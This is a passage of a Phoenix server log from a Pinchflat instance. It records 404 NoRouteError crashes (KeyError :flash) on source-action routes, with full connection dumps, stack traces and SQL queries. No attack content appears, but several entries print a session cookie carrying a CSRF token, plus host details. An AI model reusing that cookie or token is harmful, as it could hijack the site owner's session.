"7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZz (truncated) 22:17:23.193 [info] GET /sources/6/sync_files_on_disk 22:17:23.193 [debug] QUERY OK source="settings" db=0.2ms idle=17.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.194 [debug] QUERY OK source="settings" db=0.1ms idle=13.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.194 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.194 [error] #PID<0.37163.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 20) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37163.0>, params: %{}, path_info: ["sources", "6", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvipkJRKYXu4AAW8k"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/sync_files_on_disk", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 20, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71 (truncated) 22:17:23.377 [info] GET /sources/6/force_redownload 22:17:23.379 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=197.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.380 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=193.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.380 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 22:17:23.383 [info] GET /sources/6 22:17:23.383 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "6"} Pipelines: [:browser] 22:17:23.384 [debug] QUERY OK source="sources" db=0.4ms idle=197.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.385 [debug] QUERY OK source="media_profiles" db=0.2ms idle=191.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.382 [error] #PID<0.37164.0> running PinchflatWeb.Endpoint (connection #PID<0.37088.0>, stream id 21) terminated Server: youtube.plexultra.com:80 (http) Request: GET /sources/6/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.37164.0>, params: %{}, path_info: ["sources", "6", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/sources/6/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHOvjVi7lwWI2gAAW9E"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.37088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_redownload", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 44492}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 21, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYYldMWTZ1NXJ1WHpJeWVDb25LTTJkZzFx.1n-kQgsoVToO1Lb8tfLUM0jG4HM71OAKHiXMeEuhKFk" (truncated) 22:17:23.386 [debug] QUERY OK source="tasks" db=0.3ms idle=191.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [6, "executing", "available", "scheduled", "retryable"] 22:17:23.387 [info] GET /sources/6/media/7775 22:17:23.387 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "7775", "source_id" => "6"} Pipelines: [:browser] 22:17:23.387 [debug] QUERY OK source="oban_jobs" db=0.7ms idle=6.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2348] 22:17:23.388 [debug] QUERY OK source="settings" db=0.4ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.388 [debug] QUERY OK source="media_items" db=0.7ms idle=6.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [7775] 22:17:23.388 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.389 [debug] QUERY OK source="settings" db=0.4ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.389 [debug] QUERY OK source="tasks" db=0.5ms idle=2.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [7775] 22:17:23.389 [debug] QUERY OK source="sources" db=0.8ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.390 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.390 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.391 [debug] QUERY OK source="settings" db=0.3ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:17:23.391 [debug] QUERY OK source="sources" db=0.3ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 22:17:23.392 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 22:17:23.392 [debug] QUERY OK source="media_items" db=0.6ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [6] 22:17:23.393 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [6, 10, 0] 22:17:23.393 [info] Sent 200 in 6ms 22:17:23.394 [debug] QUERY OK source="sources" db=0.2ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 